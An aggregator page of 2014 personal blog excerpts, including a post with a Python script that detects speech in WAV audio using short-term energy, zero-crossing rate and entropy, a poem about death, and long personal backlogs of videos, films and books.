Hacker News Personal Blogs 2014 | All Blog Posts

The journey continues - from Elastic Beanstalk to CodeDeploy

Liza Shulyayeva — Wed, 31 Dec 2014 15:25:59 GMT

A little while ago I wrote about deploying Gastropoda to an Amazon Web Services EC2 instance via Elastic Beanstalk. Since that day I have been running into multiple EB problems. I’m sure that if I took the time to learn I would figure out why these things were happening and how to fix them. Some problems included:

2014 Year in Review

Sam Solomon — Wed, 31 Dec 2014 02:00:00 GMT

I’m Sam Solomon. You likely know me from the longform interviews I do with designers, writers and entrepreneurs.

Death By Sean Hughes

ho.dges.online — Wed, 31 Dec 2014 02:00:00 GMT

I want to be cremated
I know how boring funerals can be
I want people to gather
meet new people
have a laugh, a dance, meet a loved one.
I want people to have free drink all night.
I want people to patch together, half truths.
I want people to contradict each other
I want them to say “I didn’t know him but cheers”
I want my parents there,
adding more pain to their life.
I want the Guardian to mis-sprint three lines about me
or to be mentioned on the news
Just before the “parrot who loves Brookside” story.
I want to have my ashes scattered in a bar,
on the floor, mingle with sawdust,
a bar where beautiful trendy people

Simple experiments with speech detection

Ecce Homology on Bastian Grossenbacher Rieck's personal homepage — Tue, 30 Dec 2014 22:31:52 GMT

One of my pet projects involves detecting speech in audio signals. I am not interested in actual voice recognition but rather want to detect whether a signal is probably a person speaking or something else. Since this is a pet project and I have no knowledge of digital signal processing, I wanted to discover things on my own. This posts contains my very preliminary results.

Processing audio signals with Python

For simplicity, I only tackle uncompressed WAV files for now. SciPy is my friend here:

data = scipy.io.wavfile.read( "Test.wav" )[1]

data now contains the amplitude information of the signal. To make any calculations on the signal more robust, I chunk the signal without overlaps into portions of equal length, which I will refer to as frames. Each frame describes a short amount (say 10ms) of audio. This makes it possible to calculate statistics per frame and obtain distributions of said statistics for the complete recording. For proper signal processing, I should probably use some sort of windowing approach.

Time-domain statistics

For this post, I shall only use some features in the time domain of the signal. I am well aware that Fourier analysis exists, but my knowledge about these techniques is too sparse at the moment—I know about high- and low-pass filters and the theory behind algorithms such as FFT, but that’s about it.

By browsing some books about audio analysis, I stumbled over some statistics that seemed worthwhile (because they are easy to implement):

Short-term energy
Zero-crossing rate
Entropy of energy

I only have a cursory understanding of them (for now) so I hope that I got the terminology right.

Short-term energy

The short-term energy of a frame is defined as the sum of the squared absolute values of the amplitudes, normalized by the frame length:

def shortTermEnergy(frame):
  return sum( [ abs(x)**2 for x in frame ] ) / len(frame)

Zero-crossing rate

The zero-crossing rate counts how often the amplitude values of the frame change their sign. This value is then normalized by the length of the frame:

def zeroCrossingRate(frame):
  signs             = numpy.sign(frame)
  signs[signs == 0] = -1

  return len(numpy.where(numpy.diff(signs))[0])/len(frame)

Entropy of energy

By further subdividing each frame into a set of sub-frames, we can calculate their respective short-term energies and treat them as probabilities, thus permitting us to calculate their entropy:

def chunks(l, k):
  for i in range(0, len(l), k):
    yield l[i:i+k]

def entropyOfEnergy(frame, numSubFrames):
  lenSubFrame = int(numpy.floor(len(frame) / numSubFrames))
  shortFrames = list(chunks(frame, lenSubFrame))
  energy      = [ shortTermEnergy(s) for s in shortFrames ]
  totalEnergy = sum(energy)
  energy      = [ e / totalEnergy for e in energy ]

  entropy = 0.0
  for e in energy:
    if e != 0:
      entropy = entropy - e * numpy.log2(e)

  return entropy

Combining everything

My brief literature survey suggested that these three statistics can be rather simply used to determine speech. More precisely, we need to take a look at the following quantities:

The coefficient of variation of the short-term energy. Speech tends to have higher values here than non-speech. Some experimentation with a few speech/music files shows that a threshold of 1.0 is OK for discriminating between both classes.
The standard deviation of the zero-crossing rate. Again, speech tends to have higher values here. A threshold of 0.05 seems to work.
The minimum entropy of energy. This is where speech usually has lower values than music. Also, different genres of music seem to exhibit different distributions here—this seems pretty cool to me. Here, I used a threshold of 2.5 to decide whether an audio file contains speech.

This is in no way backed by anything other than me trying and fiddling with some audio files. I hope this is interesting and useful to someone. I also hope that I will find the time to do more with it! Thus, no special git repository for this one (at least for now), but rather the complete source code. Enjoy:

#!/usr/bin/env python3
#
# Released under the HOT-BEVERAGE-OF-MY-CHOICE LICENSE: Bastian Rieck wrote
# this script. As long you retain this notice, you can do whatever you want
# with it. If we meet some day, and you feel like it, you can buy me a hot
# beverage of my choice in return.

import numpy
import scipy.io.wavfile
import scipy.stats
import sys

def chunks(l, k):
  """
  Yields chunks of size k from a given list.
  """
  for i in range(0, len(l), k):
    yield l[i:i+k]

def shortTermEnergy(frame):
  """
  Calculates the short-term energy of an audio frame. The energy value is
  normalized using the length of the frame to make it independent of said
  quantity.
  """
  return sum( [ abs(x)**2 for x in frame ] ) / len(frame)

def rateSampleByVariation(chunks):
  """
  Rates an audio sample using the coefficient of variation of its short-term
  energy.
  """
  energy = [ shortTermEnergy(chunk) for chunk in chunks ]
  return scipy.stats.variation(energy)

def zeroCrossingRate(frame):
  """
  Calculates the zero-crossing rate of an audio frame.
  """
  signs             = numpy.sign(frame)
  signs[signs == 0] = -1

  return len(numpy.where(numpy.diff(signs))[0])/len(frame)

def rateSampleByCrossingRate(chunks):
  """
  Rates an audio sample using the standard deviation of its zero-crossing rate.
  """
  zcr = [ zeroCrossingRate(chunk) for chunk in chunks ]
  return numpy.std(zcr)

def entropyOfEnergy(frame, numSubFrames):
  """
  Calculates the entropy of energy of an audio frame. For this, the frame is
  partitioned into a number of sub-frames.
  """
  lenSubFrame = int(numpy.floor(len(frame) / numSubFrames))
  shortFrames = list(chunks(frame, lenSubFrame))
  energy      = [ shortTermEnergy(s) for s in shortFrames ]
  totalEnergy = sum(energy)
  energy      = [ e / totalEnergy for e in energy ]

  entropy = 0.0
  for e in energy:
    if e != 0:
      entropy = entropy - e * numpy.log2(e)

  return entropy

def rateSampleByEntropy(chunks):
  """
  Rates an audio sample using its minimum entropy.
  """
  entropy = [ entropyOfEnergy(chunk, 20) for chunk in chunks ]
  return numpy.min(entropy)

#
# main
#

# Frame size in ms. Will use this quantity to collate the raw samples
# accordingly.
frameSizeInMs = 0.01

frequency          = 44100 # Frequency of the input data
numSamplesPerFrame = int(frequency * frameSizeInMs)

data        = scipy.io.wavfile.read( sys.argv[1] )
chunkedData = list(chunks(list(data[1]), numSamplesPerFrame))

variation = rateSampleByVariation(chunkedData)
zcr       = rateSampleByCrossingRate(chunkedData)
entropy   = rateSampleByEntropy(chunkedData)

print("Coefficient of variation  = %f\n"
      "Standard deviation of ZCR = %f\n"
      "Minimum entropy           = %f" % (variation, zcr, entropy) )

if variation >= 1.0:
  print("Coefficient of variation suggests that the sample contains speech")

if zcr >= 0.05:
  print("Standard deviation of ZCR suggests that the sample contains speech")

if entropy < 2.5:
  print("Minimum entropy suggests that the sample contains speech")

Video backlog

xenodium.com @alvaro — Tue, 30 Dec 2014 02:00:00 GMT

[TODO]{.todo .TODO} Frank Ostaseski: "Inviting the Wisdom of Death into Life".

[TODO]{.todo .TODO} Adam Curtis HyperNormalisation HD - YouTube.

[TODO]{.todo .TODO} YouTube’s top creators are burning out (Hacker News).

[TODO]{.todo .TODO} Donald Knuth Lectures - YouTube.

[TODO]{.todo .TODO} Rashomon by Akira Kurosawa.

[TODO]{.todo .TODO} Seeing spaces.

[TODO]{.todo .TODO} An exclusive seminar with Julian Assange.

[TODO]{.todo .TODO} The (Secret) City of London, Part 1: History.

[TODO]{.todo .TODO} The (Secret) City of London, Part 2: History.

[TODO]{.todo .TODO} The UK Gold.

[TODO]{.todo .TODO} Terra Plana - Learning the skill of barefoot running.

[TODO]{.todo .TODO} The Science of Compassion ॐ Mata Amritanandamayi ॐ Documentary.

[TODO]{.todo .TODO} Rich Hickey Talks (clojure).

[TODO]{.todo .TODO} Redux: The Single Immutable State Tree screencast.

[TODO]{.todo .TODO} Anders Hejlsberg and Lars Bak: TypeScript, JavaScript, and Dart.

[TODO]{.todo .TODO} How To Travel… The Slow Hustle Way.

[TODO]{.todo .TODO} 2015-12-10 Emacs Chat - John Wiegley.

[TODO]{.todo .TODO} How To Order Salads From Inside Emacs.

[TODO]{.todo .TODO} An introduction to Emacs Lisp.

[TODO]{.todo .TODO} 12 Challenging Steps to Being a Better Interviewer – Cate Huston at The Lead Developer 2015.

[TODO]{.todo .TODO} Born Rich: Children Of The Insanely Wealthy.

[TODO]{.todo .TODO} Emacs for writers.

[TODO]{.todo .TODO} Frugal fire 002: justin mccurry (rootofgood).

[TODO]{.todo .TODO} Graham Hancock – The War on Consciousness.

[TODO]{.todo .TODO} Griefwalker.

[TODO]{.todo .TODO} How to win the loser's game.

[TODO]{.todo .TODO} John Green's "Crash Course History" videos.

[TODO]{.todo .TODO} Matthieu Ricard Leads a Meditation on Altruistic Love and Compassion.

[TODO]{.todo .TODO} Matthieu Ricard: "Altruism" | Talks at Google.

[TODO]{.todo .TODO} Nick Hanauer – Rich People Don’t Create Jobs.

[TODO]{.todo .TODO} Programming is terrible — Lessons learned from a life wasted.

[TODO]{.todo .TODO} Rupert Sheldrake – The Science of Delusion.

[TODO]{.todo .TODO} Surya Namaskar stretches.

[TODO]{.todo .TODO} The Emacs of distros.

[TODO]{.todo .TODO} The Known Universe by AMNH.

[DONE]{.done .DONE} Juliet Schor Iris Nights: Re-Thinking Materialism.

[DONE]{.done .DONE} The Internets own boy.

[DONE]{.done .DONE} BBC's secret of levitation.

[DONE]{.done .DONE} Hold Fast.

[DONE]{.done .DONE} This is water, commencement speech.

[DONE]{.done .DONE} This is water.

Movie backlog

xenodium.com @alvaro — Tue, 30 Dec 2014 02:00:00 GMT

[TODO]{.todo .TODO} Watch The Åre Murders | Netflix Official Site.

[TODO]{.todo .TODO} Watch SAKAMOTO DAYS | Netflix Official Site.

[TODO]{.todo .TODO} Mishima: A Life in Four Chapters (1985) - IMDB.

[TODO]{.todo .TODO} Drive My Car (2021) - IMDb.

[TODO]{.todo .TODO} The Suicide Squad (2021) - IMDb.

[TODO]{.todo .TODO} Movies that feel like you're watching an adaptation of the Cyberpunk RPG?.

[TODO]{.todo .TODO} Movies that get better with more viewings.

[TODO]{.todo .TODO} Zhang Yimou: China's Greatest Director | Part 2 .

[TODO]{.todo .TODO} Take your pill.

[TODO]{.todo .TODO} A handful of choices, but Hundreds of Beavers caught my attention.

[TODO]{.todo .TODO} https://www.metacritic.com

[TODO]{.todo .TODO} Chalk line.

[TODO]{.todo .TODO} Anime Scene Search Engine - trace.moe.

[TODO]{.todo .TODO} Poorly Drawn Lines.

[TODO]{.todo .TODO} VHYes (2019) - Rotten Tomatoes.

[TODO]{.todo .TODO} The Sandman (comic book) - Wikipedia

[TODO]{.todo .TODO} The Sandman (TV Series 2021– ) - IMDb

[TODO]{.todo .TODO} Korean films/shows to watch

[TODO]{.todo .TODO} Gemini man.

[TODO]{.todo .TODO} Tigertail (2020) - Rotten Tomatoes.

[TODO]{.todo .TODO} Buffaloed (2019) - Rotten Tomatoes.

[TODO]{.todo .TODO} 12 Hour Shift (2020) - Rotten Tomatoes.

[TODO]{.todo .TODO} What's your favorite Kurosawa film?.

[TODO]{.todo .TODO} Korean Pork Belly Rhapsody | Netflix.

[TODO]{.todo .TODO} Back to Life | Netflix.

[TODO]{.todo .TODO} The Best Movies of 2020 – Best New Films of the Year.

[DONE]{.done .DONE} if something happens.

[TODO]{.todo .TODO} The Essentials Movie Recs - Google Sheets.

[TODO]{.todo .TODO} Hipsters (2008) - IMDb.

[TODO]{.todo .TODO} Den radio (2008) - IMDb.

[TODO]{.todo .TODO} Alyosha Popovich i Tugarin Zmey (2004) - IMDb.

[TODO]{.todo .TODO} Brilliantovaya ruka (1969) - IMDb.

[TODO]{.todo .TODO} Stalker (1979) - IMDb.

[TODO]{.todo .TODO} Solaris (1972) - IMDb.

[TODO]{.todo .TODO} Miss Hokusai (2015) - IMDb.

[TODO]{.todo .TODO} The Hunt (2012) - IMDb.

[TODO]{.todo .TODO} Attack the Block: Trailer #2.

[TODO]{.todo .TODO} Upgrade (2018) - IMDb.

[TODO]{.todo .TODO} The Way Back (2011) - Rotten Tomatoes.

[TODO]{.todo .TODO} Big Nothing (2006) - IMDb.

[TODO]{.todo .TODO} A Most Violent Year (2014) - IMDb.

[TODO]{.todo .TODO} The Peanut Butter Falcon (2019) - IMDb.

[TODO]{.todo .TODO} Technotise - Edit i ja (2009) - IMDb.

[TODO]{.todo .TODO} Tetsuo: The Bullet Man (2009) - IMDb.

[TODO]{.todo .TODO} Sleep Dealer.

[TODO]{.todo .TODO} Sky Blue.

[TODO]{.todo .TODO} Paycheck (2003) - IMDb.

[TODO]{.todo .TODO} Returner (2002) - IMDb.

[TODO]{.todo .TODO} Cypher (2002) - IMDb.

[TODO]{.todo .TODO} The Little Shop of Horrors (1986) - IMDb.

[TODO]{.todo .TODO} To the Lake.

[TODO]{.todo .TODO} Throne of Blood (1957) - IMDb.

[TODO]{.todo .TODO} Raised by Wolves (TV Series 2020– ) - IMDb.

[TODO]{.todo .TODO} Untouchable (2011) - IMDb.

[TODO]{.todo .TODO} Midnight in Paris (2011) - IMDb.

[TODO]{.todo .TODO} Paris, je t'aime (2006) - IMDb.

[TODO]{.todo .TODO} Watch Alice in Paris | Prime Video.

[TODO]{.todo .TODO} Plan Coeur (TV Series 2018– ) - IMDb.

[TODO]{.todo .TODO} what good shows are streaming rn?.

[TODO]{.todo .TODO} First Cow | Where to Stream and Watch | Decider.

[TODO]{.todo .TODO} 'She Dies Tomorrow' Movie Review: A Person-to-Person Paranoia Pandemic.

[TODO]{.todo .TODO} ‘Palm Springs,’ 2020’s Most Fun Movie.

[TODO]{.todo .TODO} 'Spaceship Earth': Why crazy new doc is must-watch quarantine viewing.

[TODO]{.todo .TODO} 'Don't Breathe' is latest movie to use Detroit as its scary setting.

[TODO]{.todo .TODO} Spaceship Earth (2020) - IMDb.

[TODO]{.todo .TODO} Reviews - zerokspot.com.

[TODO]{.todo .TODO} TSP2013: Only Lovers Left Alive – Random Thoughts.

[TODO]{.todo .TODO} TSP2008: Burn After Reading – Random Thoughts.

[TODO]{.todo .TODO} TSP2009: The Limits of Control – Random Thoughts.

[TODO]{.todo .TODO} TSP2002: Adaptation. – Random Thoughts.

[TODO]{.todo .TODO} TSP2015: Trainwreck – Random Thoughts.

[TODO]{.todo .TODO} If you could wave a wand and instantly have more episodes of one TV series that has already concluded, which series would you pick?.

[TODO]{.todo .TODO} The Advisors Alliance - Wikipedia.

[TODO]{.todo .TODO} The 300 Coda: My Top 50 Movies of 2018 and My Top 40.

[TODO]{.todo .TODO} Green Room (film) - Wikipedia.

[TODO]{.todo .TODO} 'Relic' is a Masterclass in Independent Horror | MovieBabble.

[TODO]{.todo .TODO} Hidden (Caché) (2005) - IMDb.

[TODO]{.todo .TODO} OTB#1: Tokyo Story – Random Thoughts.

[TODO]{.todo .TODO} Into the Night | Netflix Official Site.

[TODO]{.todo .TODO} Undone (TV Series 2019– ) - IMDb.

[TODO]{.todo .TODO} Quarantine Staff Picks: Part 7 | MovieBabble.

[TODO]{.todo .TODO} Quarantine Staff Picks: Part 6 | MovieBabble.

[TODO]{.todo .TODO} Quarantine Staff Picks: Part 5 | MovieBabble.

[TODO]{.todo .TODO} Quarantine Staff Picks: Part 4 | MovieBabble.

[TODO]{.todo .TODO} Quarantine Staff Picks: Part 3 | MovieBabble.

[TODO]{.todo .TODO} Quarantine Staff Picks: Part 2 | MovieBabble.

[TODO]{.todo .TODO} Quarantine Staff Picks: Part 1 | MovieBabble.

[TODO]{.todo .TODO} Quarantine Staff Picks: Part 8 | MovieBabble.

[TODO]{.todo .TODO} Gary Hustwit (filmography).

[TODO]{.todo .TODO} Helvetica, a documentary on typography.

[TODO]{.todo .TODO} twitter: black documentaries that assist in understanding racism, prejudice, police brutality, and more.

[TODO]{.todo .TODO} MovieBabble - The Casual Way to Discuss Movies.

[TODO]{.todo .TODO} bitdepth.

[TODO]{.todo .TODO} Burning (2018) - IMDb.

[TODO]{.todo .TODO} American Honey (2016) - Rotten Tomatoes.

[TODO]{.todo .TODO} Undone.

[TODO]{.todo .TODO} The Wire - Wikipedia.

[TODO]{.todo .TODO} Ajin: Demi-Human - Wikipedia.

[TODO]{.todo .TODO} Halt and Catch Fire.

[TODO]{.todo .TODO} A Beginner's Guide To Afrofuturism: 7 Titles To Watch And Read.

[TODO]{.todo .TODO} Sunbeam city wiki: Solarpunk.

[TODO]{.todo .TODO} Goldmund on Twitter: Watched Fight Club, thought about it, and realized why ….

[TODO]{.todo .TODO} Chance on Twitter: Post your favorite movie..

[TODO]{.todo .TODO} NFLX2019 January 4th: Lionheart – Random Thoughts.

[TODO]{.todo .TODO} NFLX2019 January 18th: Soni – Random Thoughts.

[TODO]{.todo .TODO} NFLX2019 December 31st: Ghost Stories – Random Thoughts.

[TODO]{.todo .TODO} NFLX2019 November 15th: Klaus – Random Thoughts.

[TODO]{.todo .TODO} NFLX2019 October 18th: Seventeen – Random Thoughts.

[TODO]{.todo .TODO} NFLX2019 August 2nd: Otherhood – Random Thoughts.

[TODO]{.todo .TODO} NFLX2019 May 30th: Chopsticks – Random Thoughts.

[TODO]{.todo .TODO} NFLX2019 May 24th: The Perfection – Random Thoughts.

[TODO]{.todo .TODO} NFLX2019 July 31st: The Red Sea Diving Resort – Random Thoughts.

[TODO]{.todo .TODO} Paris is Us.

[TODO]{.todo .TODO} Directors’ top 100 | BFI.

[TODO]{.todo .TODO} It Follows - Wikipedia.

[TODO]{.todo .TODO} The 20 Best Cyberpunk Movies of All Time.

[TODO]{.todo .TODO} Ragnarok | Netflix Official Site.

[TODO]{.todo .TODO} Home – Neon Dystopia.

[TODO]{.todo .TODO} Patriot (Amazon)

[TODO]{.todo .TODO} The Expanse (Amazon)

[TODO]{.todo .TODO} The Boys (Amazon)

[TODO]{.todo .TODO} The Last Kingdom (Netflix)

[TODO]{.todo .TODO} The Witcher (Netflix)

[TODO]{.todo .TODO} Travelers (Netflix)

[TODO]{.todo .TODO} If I Only Hadn’t Met You (Netflix)

[TODO]{.todo .TODO} Peaky Blinders (Netflix)

[TODO]{.todo .TODO} Catch-22 (Hulu)

[TODO]{.todo .TODO} American Factory - Wikipedia.

[TODO]{.todo .TODO} October Faction | Netflix Official Site.

[TODO]{.todo .TODO} Transfers | Netflix.

[TODO]{.todo .TODO} Ad Vitam | Netflix Official Site.

[TODO]{.todo .TODO} On Children | Netflix Official Site.

[TODO]{.todo .TODO} Perfume | Netflix Official Site.

[TODO]{.todo .TODO} The Gift | Netflix Official Site.

[TODO]{.todo .TODO} Ares | Netflix Official Site.

[TODO]{.todo .TODO} Demon Slayer: Kimetsu no Yaiba - Wikipedia.

[TODO]{.todo .TODO} Yuri on Ice.

[TODO]{.todo .TODO} Twitter: "Has anyone here seen Parasite?".

[TODO]{.todo .TODO} White House Down (2013) - IMDb.

[TODO]{.todo .TODO} American Sniper (2014) - IMDb.

[TODO]{.todo .TODO} Hannibal Burress, Hasan Minhaj, Neal Brennan, Dave Chappelle.

[TODO]{.todo .TODO} The Insider (film) - Wikipedia.

[TODO]{.todo .TODO} I need recommendations for shows/movies (preferably on Netflix).

[TODO]{.todo .TODO} Taste of Tea.

[TODO]{.todo .TODO} Japanology Episodes List.

[TODO]{.todo .TODO} Japanology Plus - TV | NHK WORLD-JAPAN Live & Programs.

[TODO]{.todo .TODO} David Attenborough's Our Planet.

[TODO]{.todo .TODO} Infernal Affairs - Wikipedia.

[TODO]{.todo .TODO} Victoria Aveyard on Twitter: "when your roommate asks for a Marvel watch list with commentary… ".

[TODO]{.todo .TODO} ROMA.

[TODO]{.todo .TODO} The Killing of a Sacred Deer (2017).

[TODO]{.todo .TODO} Private Life.

[TODO]{.todo .TODO} You Were Never Really Here.

[TODO]{.todo .TODO} Sorry to Bother You.

[TODO]{.todo .TODO} Game Night.

[TODO]{.todo .TODO} Support the Girls.

[TODO]{.todo .TODO} Steven Yeun, Burning.

[TODO]{.todo .TODO} A Simple Favor.

[TODO]{.todo .TODO} Ask HN: Mind blowing documentaries?.

[TODO]{.todo .TODO} The 21st Century’s Most Acclaimed Films (including films from 2000).

[TODO]{.todo .TODO} Koyaanisqatsi.

[TODO]{.todo .TODO} Mifune: The Last Samurai (2015) - IMDb.

[TODO]{.todo .TODO} Sunshine Superman (2014) - IMDb.

[TODO]{.todo .TODO} Under the Sun (Netflix): "Under the Sun keeps forcing us to ponder why we watch representations of real life and what we think we’re learning about reality in the process".

[TODO]{.todo .TODO} Peter and the Farm (Netflix).

[TODO]{.todo .TODO} Lessons of Darkness - Wikipedia.

[TODO]{.todo .TODO} The story of stuff.

[TODO]{.todo .TODO} Immortality.

[TODO]{.todo .TODO} Ichi the killer.

[TODO]{.todo .TODO} Audition.

[TODO]{.todo .TODO} The Happiness of the Katakuris.

[TODO]{.todo .TODO} Agitator.

[TODO]{.todo .TODO} Gozu.

[TODO]{.todo .TODO} Outrage.

[TODO]{.todo .TODO} Minbo.

[TODO]{.todo .TODO} Blues harp.

[TODO]{.todo .TODO} Goyokin.

[TODO]{.todo .TODO} The hidden blade.

[TODO]{.todo .TODO} Wild Tales.

[TODO]{.todo .TODO} The Road.

[TODO]{.todo .TODO} Moon.

[TODO]{.todo .TODO} Who am I.

[TODO]{.todo .TODO} Tarkovsky films.

[TODO]{.todo .TODO} Snowpiercer.

[TODO]{.todo .TODO} Kubo and the two strings.

[TODO]{.todo .TODO} Spotlight.

[TODO]{.todo .TODO} Creed.

[TODO]{.todo .TODO} Innocence of memories.

[TODO]{.todo .TODO} The revenant.

[TODO]{.todo .TODO} Big short.

[TODO]{.todo .TODO} Pressure Cooker.

[TODO]{.todo .TODO} Bob and David.

[TODO]{.todo .TODO} Akira kurosawa director.

[TODO]{.todo .TODO} All About Eve.

[TODO]{.todo .TODO} Babadook.

[TODO]{.todo .TODO} Death to Smoochy.

[TODO]{.todo .TODO} Enter the void, by gaspar noe.

[TODO]{.todo .TODO} Four horsemen.

[TODO]{.todo .TODO} Hirokazu koreeda director.

[TODO]{.todo .TODO} Naomi kawaze director.

[TODO]{.todo .TODO} Nostalghia.

[TODO]{.todo .TODO} Sion sono director.

[TODO]{.todo .TODO} Solyaris

[TODO]{.todo .TODO} Stalker

[TODO]{.todo .TODO} Takashi kitano director.

[TODO]{.todo .TODO} Takashi miike director.

[TODO]{.todo .TODO} The connection.

[TODO]{.todo .TODO} The mirror

[TODO]{.todo .TODO} The Silent Partner.

[TODO]{.todo .TODO} Uncle boonmee who can recall his past lives, by apichatpong weerasethakul.

[TODO]{.todo .TODO} Waking life, by rickard linklater.

[TODO]{.todo .TODO} Xah Lee's movie list.

[DONE]{.done .DONE} Halt and Catch Fire (TV Series 2014–2017) - IMDb.

[DONE]{.done .DONE} Twinsters.

[DONE]{.done .DONE} Mindhunter (Netflix)

[DONE]{.done .DONE} Altered Carbon (Netflix)

OBSOLETE Narcos (Netflix)

[DONE]{.done .DONE} The Marvelous Mrs. Maisel (Amazon)

[DONE]{.done .DONE} Sneaky Pete (Amazon)

[DONE]{.done .DONE} Ozark (Netflix)

[DONE]{.done .DONE} Midnight Diner: Tokyo Stories (Netflix)

[DONE]{.done .DONE} Dark (Netflix)

[DONE]{.done .DONE} Altered Carbon | Netflix Official Site.

[DONE]{.done .DONE} The Men Who Made Us Spend - a really amazing 3 part documentary from the BBC on spending and consumerism.

[DONE]{.done .DONE} Annihilation (film) - Wikipedia.

[DONE]{.done .DONE} 13 Assasins <2018-12-27 Thu>.

[DONE]{.done .DONE} 7 Samurai <2018-12-27 Thu>.

[DONE]{.done .DONE} Dogs of Berlin (TV Series 2018– ) - IMDb.

[DONE]{.done .DONE} Tidying Up with Marie Kondo.

[DONE]{.done .DONE} The True cost.

[DONE]{.done .DONE} Awake, the life of yogananda.

[DONE]{.done .DONE} Birdman.

[DONE]{.done .DONE} Boyhood.

[DONE]{.done .DONE} She A Chinese.

[DONE]{.done .DONE} Wet Hot American Summer.

Books backlog

xenodium.com @alvaro — Tue, 30 Dec 2014 02:00:00 GMT

[TODO]{.todo .TODO} Frank Bennett: "20 books that have had an impact on who you are. …" - Indiewe….

[TODO]{.todo .TODO} ‎Swift Secrets on Apple Books.

[TODO]{.todo .TODO} Island: Amazon.co.uk: Aldous Huxley: 9780099477778: Books.

[TODO]{.todo .TODO} Amazon.com: Hieroglyph: Stories and Visions for a Better Future eBook.

[TODO]{.todo .TODO} Meredith: The Future of Silicon Valley (fiction).

[TODO]{.todo .TODO} Working in Public: The Making and Maintenance of Open Source Software eBook.

[TODO]{.todo .TODO} No More Mr Nice Guy: A Proven Plan for Getting What You Want.

[TODO]{.todo .TODO} Thread on Wask Factory (more titles).

[TODO]{.todo .TODO} The Wasp Factory - Wikipedia.

[TODO]{.todo .TODO} Book recommendation thread by Maris Kreizman.

[TODO]{.todo .TODO} Extreme Privacy: What It Takes to Disappear: Bazzell, Michael: 9798643343707.

[TODO]{.todo .TODO} 'You Are Not So Smart': Why We Can't Tell Good Wine From Bad - The Atlantic.

[TODO]{.todo .TODO} The Deficit Myth - Stephanie Kelton.

[TODO]{.todo .TODO} Metadata: Forty book recommendations.

[TODO]{.todo .TODO} Solarpunk (62 books).

[TODO]{.todo .TODO} Bolo’bolo | The Anarchist Library.

[TODO]{.todo .TODO} The velvet monkey wrench : Muir, John, 1918-.

[TODO]{.todo .TODO} Solarpunk Community Discord List (108 books).

[TODO]{.todo .TODO} Launch: An Internet Millionaire's Secret Formula to Sell Almost anything online.

[TODO]{.todo .TODO} The Psychology of Money: The Psychology of Money: Timeless lessons on wealth, greed, and happiness.

[TODO]{.todo .TODO} Recommendations | The Quill to Live.

[TODO]{.todo .TODO} My 2020 Reading List · FumbLing.

[TODO]{.todo .TODO} Norse Mythology by Neil Gaiman.

[TODO]{.todo .TODO} Auto by David Wailing.

[TODO]{.todo .TODO} Ask HN: Book recommendations for understanding financial systems? | Hacker News.

[TODO]{.todo .TODO} Andromeda (novel) - Wikipedia.

[TODO]{.todo .TODO} SOLARPUNK : A REFERENCE GUIDE - Solarpunks - Medium.

[TODO]{.todo .TODO} The Final Circle of Paradise - Wikipedia.

[TODO]{.todo .TODO} Here's a visual of my 35 favorite books of the decade..

[TODO]{.todo .TODO} Cyberpunk: Then and Now | Hacker News.

[TODO]{.todo .TODO} Accelerate: The Science of Lean Software and Devops.

[TODO]{.todo .TODO} Drive: The Surprising Truth About What Motivates Us | Hacker News Books.

[TODO]{.todo .TODO} Pachinko (novel) - Wikipedia.

[TODO]{.todo .TODO} Paul Hudson on Twitter: Can you recommend some manga?.

[TODO]{.todo .TODO} Dan Abramov: Please point me to a book about programming that isn't boring.

[TODO]{.todo .TODO} John's Amazon wishlist.

[TODO]{.todo .TODO} Super Thinking: Upgrade Your Reasoning and Make Better Decisions with Mental Models.

[TODO]{.todo .TODO} Gut: the inside story of our body's most under-rated organ.

[TODO]{.todo .TODO} Evan Sandhoefner on Twitter: Which books/papers/talks/etc have blown your mind / changed your worldview significantly?.

[TODO]{.todo .TODO} JOY ON DEMAND: The Art of Discovering the Happiness Within.

[TODO]{.todo .TODO} 8 Minute Meditation Expanded : Quiet Your Mind. Change Your Life.

[TODO]{.todo .TODO} Mindfulness in Plain English: 20th Anniversary Edition: Amazon.co.uk.

[TODO]{.todo .TODO} Bettina Bauer: What is your favorite Science Fiction novel? (twitter).

[TODO]{.todo .TODO} Altered Traits: Science Reveals How Meditation Changes Your Mind, Brain, and Body.

[TODO]{.todo .TODO} Junk Food Japan: Addictive Food from Kurobuta.

[TODO]{.todo .TODO} Ask HN: Recommend one book I need to read this summer?.

[TODO]{.todo .TODO} I am a cat (Soseki Natsume).

[TODO]{.todo .TODO} Thinking in Systems: A Primer: Amazon.co.uk: Diana Wright, Donella H. Meadows: 9781844077250: Books.

[TODO]{.todo .TODO} Casting SPELs in Lisp (Emacs edition).

[TODO]{.todo .TODO} Land of lisp.

[TODO]{.todo .TODO} Juggling for the Complete Klutz by John Cassidy.

[TODO]{.todo .TODO} Positioning: The Battle for Your Mind.

[TODO]{.todo .TODO} Snow Crash - Wikipedia.

[TODO]{.todo .TODO} The Little Book of Common Sense Investing, Updated and Revised.

[TODO]{.todo .TODO} The Little LISPer, Third Edition: 9780023397639: Computer Science Books @ Amazon.com.

[TODO]{.todo .TODO} The Anatomy of Peace: Resolving the Heart of Conflict.

[TODO]{.todo .TODO} Superfast Lead at speed.

[TODO]{.todo .TODO} A company of one.

[TODO]{.todo .TODO} Shoe Dog: A Memoir by the Creator of NIKE.

[TODO]{.todo .TODO} Caitlin Doughty's top 8 books from 2018.

[TODO]{.todo .TODO} Global Economy as you've never seen it.

[TODO]{.todo .TODO} Replay.

[TODO]{.todo .TODO} Siddhartha: A Novel.

[TODO]{.todo .TODO} Out (novel) by Natsuo Kirino.

[TODO]{.todo .TODO} Folklore, Folktales, and Fairy Tales from Japan: A Digital Library.

[TODO]{.todo .TODO} A Tale for the Time Being by Ruth Ozeki.

[TODO]{.todo .TODO} Kitchen by Banan Yashimoto.

[TODO]{.todo .TODO} The Overspent American: Why We Want What We Don't Need Paperback.

[TODO]{.todo .TODO} Enough by Patrick Rhone.

[TODO]{.todo .TODO} Hot Air has a nice selection.

[TODO]{.todo .TODO} Domain-Driven Design: Tackling Complexity in the Heart of Software 1st Edition.

[TODO]{.todo .TODO} Seeing like a State: How Certain Schemes to Improve the Human Condition Have Failed Paperback.

[TODO]{.todo .TODO} Conquest of Abundance: A Tale of Abstraction versus the Richness of Being 2nd Edition.

[TODO]{.todo .TODO} The Wisdom of No Escape: And the Path of Loving-Kindness.

[TODO]{.todo .TODO} The Anatomy of Peace: Resolving the Heart of Conflict.

[TODO]{.todo .TODO} The Millionaire Next Door.

[TODO]{.todo .TODO} Refactoring: Improving the Design of Existing Code.

[TODO]{.todo .TODO} Touched by the Goddess: On Ramanujan (Hacker News).

